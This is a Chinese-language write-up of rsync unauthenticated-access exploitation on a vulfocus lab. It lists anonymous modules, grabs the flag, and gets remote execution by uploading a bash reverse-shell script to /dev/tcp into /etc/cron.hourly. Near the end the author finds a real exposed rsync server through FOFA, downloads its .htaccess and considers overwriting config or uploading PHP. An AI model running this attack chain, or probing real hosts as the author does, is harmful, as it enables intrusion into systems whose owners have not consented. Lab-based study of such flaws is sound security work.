1.原理
Rsync是linux上文件传输的协议,如果有返回直接可以看到,部分主机使用协议的时候不会加密码,就容易造成未授权访问漏洞
2.复现
打开vulfocus.io,搜索rsync关键字,打开环境
在自己的主机上去连接远程服务器:
rsync rsync://123.58.224.8:33546/
利用rsync去连接目的ip地址的对应端口
返回src或者其他文件名字+path就存在使用了这个协议
登入src连接发现没有设置密码
rsync rsync://123.58.224.8:33546/src
我们直接查找要填入的flag
rsync rsync://123.58.224.8:33546/src/tmp/f*
直接交了就行
3.反弹shell
当然我们不想只要得到信息,我们要争取可以拿到这台主机的权限,这时候我们需要反弹shell,让我们可以登入
3.1 linux计时任务
Linux crontab是用来定期执行程序的命令。
当安装完成操作系统之后,默认便会启动此任务调度命令。
crond 命令每分锺会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
存放crontab周期性计划任务的文件:/var/spool/cron/用户名 (按用户分类)
cron服务的日志文件 (记录创建、查看、执行文件):/var/log/cron
crontab服务的配置文件:**/etc/crontab**
注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
而 linux 任务调度的工作主要分为以下两类:
1、系统执行的工作:系统周期性所要执行的工作,如备份系统数据、清理缓存
2、个人执行的工作:某个用户定期要做的工作,例如每隔10分钟检查邮件服务器是否有新信,这些工作可由每个用户自行设置
3.2 复现
下载文件:rsync rsync://123.58.224.8:22101/src/etc/crontab /root/cron.txt(你的主机上对应位置保存)
我们的目标就是第一个,17分钟执行一次的这个
写一个shell到这个文件之后等待监听就可以了
shell:/bin/bash -i >& /dev/tcp/自己的ip/对应端口 0>&1
创建文件:touch shell
写入shell:vim shell
加上权限:chmod 777 shell
提交到远程主机:rsync -av /root/shell rsync://123.58.224.8:50461/src/etc/cron.hourly
开另一个窗口监听端口:
等待够时间就可以反弹shell了
由于靶场的原因可能无法等待17分钟就关闭了,很可能是没办法看到效果的
我们可以尝试在fofa上面看看有没有相关类型的漏洞:我找了一个,虽然这个file不是在root下,只是搭在了网站上面,但我们可以发现这个漏洞在现实中任然存在:
我发现可以直接下载.htaccess,我有思路是写入替换配置文件或者是上传一个php文件,但是由于也是国内的网站就先不动了
免责声明:本篇文章纯属技术交流,没有任何教导网络攻击的意思